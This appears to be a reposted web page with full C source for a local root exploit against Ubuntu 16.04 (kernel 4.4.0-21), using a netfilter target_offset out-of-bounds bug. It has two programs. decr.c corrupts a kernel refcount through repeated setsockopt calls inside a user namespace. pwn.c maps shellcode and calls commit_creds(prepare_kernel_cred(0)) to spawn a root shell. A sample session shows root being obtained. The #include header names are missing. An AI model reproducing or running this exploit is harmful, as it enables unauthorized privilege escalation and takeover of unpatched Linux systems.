linux 内核4.4.21,Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) netfilter target_offset Local Privilege E...

/**

Video ~ https://www.youtube.com/watch?v=qchiJn94kTo

**/

/** decr.c **/

/**

* Ubuntu 16.04 local root exploit - netfilter target_offset OOB

* check_compat_entry_size_and_hooks/check_entry

*

* Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c

*

* Vitaly Nikolenko

* vnik@cyseclabs.com

* 23/04/2016

*

*

* ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers

* automatic loading).

*

* vnik@ubuntu:~$ uname -a

* Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

* vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr

* vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn

* vnik@ubuntu:~$ ./decr

* netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik

* [!] Decrementing the refcount. This may take a while...

* [!] Wait for the "Done" message (even if you'll get the prompt back).

* vnik@ubuntu:~$ [+] Done! Now run ./pwn

*

* vnik@ubuntu:~$ ./pwn

* [+] Escalating privs...

* root@ubuntu:~# id

* uid=0(root) gid=0(root) groups=0(root)

* root@ubuntu:~#

*

*/

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define MALLOC_SIZE 66*1024

int check_smaep() {

FILE *proc_cpuinfo;

char fbuf[512];

proc_cpuinfo = fopen("/proc/cpuinfo", "r");

if (proc_cpuinfo < 0) {

perror("fopen");

return -1;

}

memset(fbuf, 0, sizeof(fbuf));

while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {

if (strlen(fbuf) == 0)

continue;

if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {

fclose(proc_cpuinfo);

return -1;

}

}

fclose(proc_cpuinfo);

return 0;

}

int check_mod() {

FILE *proc_modules;

char fbuf[256];

proc_modules = fopen("/proc/modules", "r");

if (proc_modules < 0) {

perror("fopen");

return -1;

}

memset(fbuf, 0, sizeof(fbuf));

while(fgets(fbuf, 256, proc_modules) != NULL) {

if (strlen(fbuf) == 0)

continue;

if (!strncmp("ip_tables", fbuf, 9)) {

fclose(proc_modules);

return 0;

}

}

fclose(proc_modules);

return -1;

}

int decr(void *p) {

int sock, optlen;

int ret;

void *data;

struct ipt_replace *repl;

struct ipt_entry *entry;

struct xt_entry_match *ematch;

struct xt_standard_target *target;

unsigned i;

sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

if (sock == -1) {

perror("socket");

return -1;

}

data = malloc(MALLOC_SIZE);

if (data == NULL) {

perror("malloc");

return -1;

}

memset(data, 0, MALLOC_SIZE);

repl = (struct ipt_replace *) data;

repl->num_entries = 1;

repl->num_counters = 1;

repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;

repl->valid_hooks = 0;

entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));

entry->target_offset = 74; // overwrite target_offset

entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);

ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));

strcpy(ematch->u.user.name, "icmp");

void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);

uint64_t *me = (uint64_t *)(kmatch + 0x58);

*me = 0xffffffff821de10d; // magic number!

uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);

*match = (uint32_t)kmatch;

ematch->u.match_size = (short)0xffff;

target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);

uint32_t *t = (uint32_t *)target;

*t = (uint32_t)kmatch;

printf("[!] Decrementing the refcount. This may take a while...\n");

printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");

for (i = 0; i < 0xffffff/2+1; i++) {

ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);

}

close(sock);

free(data);

printf("[+] Done! Now run ./pwn\n");

return 0;

}

int main(void) {

void *stack;

int ret;

printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");

if (check_mod()) {

printf("[-] No ip_tables module found! Quitting...\n");

return -1;

}

if (check_smaep()) {

printf("[-] SMEP/SMAP support dectected! Quitting...\n");

return -1;

}

ret = unshare(CLONE_NEWUSER);

if (ret == -1) {

perror("unshare");

return -1;

}

stack = (void *) malloc(65536);

if (stack == NULL) {

perror("malloc");

return -1;

}

clone(decr, stack + 65536, CLONE_NEWNET, NULL);

sleep(1);

return 0;

}

/** decr.c EOF **/

/** pwn.c **/

/**

* Run ./decr first!

*

* 23/04/2016

* - vnik

*/

#include

#include

#include

#include

#include

#include

#include

#include

#define MMAP_ADDR 0xff814e3000

#define MMAP_OFFSET 0xb0

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);

typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);

void __attribute__((regparm(3))) privesc() {

commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;

prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;

commit_creds(prepare_kernel_cred((uint64_t)NULL));

}

int main() {

void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);

assert(payload == (void *)MMAP_ADDR);

void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);

memset(shellcode, 0, 0x300000);

void *ret = memcpy(shellcode, &privesc, 0x300);

assert(ret == shellcode);

printf("[+] Escalating privs...\n");

int fd = open("/dev/ptmx", O_RDWR);

close(fd);

assert(!getuid());

printf("[+] We've got root!");

return execl("/bin/bash", "-sh", NULL);

}

/** pwn.c EOF **/